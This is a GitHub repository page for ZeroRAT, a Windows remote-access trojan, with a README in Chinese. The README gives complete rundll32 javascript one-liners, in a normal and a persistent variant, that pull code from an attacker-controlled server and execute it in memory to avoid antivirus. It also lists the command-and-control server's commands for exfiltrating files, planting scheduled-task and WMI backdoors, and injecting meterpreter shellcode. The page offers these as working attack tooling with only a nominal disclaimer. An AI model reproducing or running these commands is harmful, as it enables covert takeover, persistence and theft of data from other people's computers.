Skip to content

wj158/ZeroRAT

 
 

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

11 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

#ZeroRAT ##简介 适用于windows的远控,客户端只需要执行一条指令,利用windows原生的程序执行,不在磁盘写文件,具有天然免杀的特性。重启失效。

程序里的download和upload都是以客户端的视角。客户端从服务端下载文件叫做download,客户端上传文件到服务端叫做upload。

##配置 在config.py中修改客户端上线的地址和后台的管理密码,记得要检查下把debug关掉。

程序依赖flask和sqlite3,自行pip安装

##客户端 把<ip>:<port>替换成实际上线的地址

正常版

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://<ip>:<port>/connect",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){window.close();}

不死版

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://<ip>:<port>/connect",false);while(1){try{h.Send();B=h.ResponseText;eval(B);}catch(e){}}

##服务端 后台: http://<ip>:<port>/server/

服务端支持的命令有

  • sessions 列出活动的客户端
  • use <id> 根据id选择客户端
  • set <key> <value> 设置全局变量
  • show globals/downloads/uploads 查看全局变量、客户端能下载的文件、客户端上传的文件
  • delete session 删除当前客户端
  • delete download/upload <id> 按照id删除文件
  • upfile 上传文件到服务器,并添加到downloads列表
  • download 设置好download_file和download_save_path两个变量即可让客户端下载文件并保存到download_save_path
  • upload 设置upload_file变量,即可让客户端把upload_file的文件上传到服务器
  • backdoor tasks <time> 利用windows任务计划留后门,时间格式为00:00
  • backdoor wmi 利用wmi留后门,每一小时执行一次
  • meterpreter shellcode InstallUtil执行shellcode方式种meterpreter,需要先设置LHOST和LPORT(migrate之后才能继续接受命令,依赖.NET Framework 2.0)
  • meterpreter powershell Powershell方式种meterpreter(依赖powershell 1.0)

除了上述的命令,其他均会被当做windows的系统命令来执行

命令详情请见/static/js/xkcd_cli.js

##开发 后台命令维护客户端 /static/js/xkcd_cli.js

后台命令维护服务端 /controllers/server.py

客户端维护 /controllers/client.py

客户端payload生成 payload.py

数据库操作相关 /models/

##联系方式 http://5alt.me

md5_salt [AT] qq.com

##参考资料 https://gist.github.com/subTee/f1603fa5c15d5f8825c0

http://drops.wooyun.org/tips/11764

http://drops.wooyun.org/tips/8290

http://drops.wooyun.org/tips/12354

https://github.com/chromakode/xkcdfools

http://www.kammerl.de/ascii/AsciiSignature.php

https://github.com/AlessandroZ/LaZagne

##免责声明 使用本工具请遵守当地法律,仅能用作学术测试使用,严禁非法控制他人计算机。如果造成损害,与作者无关。

##License GPLV3

##TODO

  • 完善命令
  • 通信流量加密

About

ZeroRAT是一款windows上的一句话远控

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages

  • PowerShell 94.0%
  • Python 3.3%
  • JavaScript 2.1%
  • HTML 0.2%
  • C# 0.2%
  • CSS 0.2%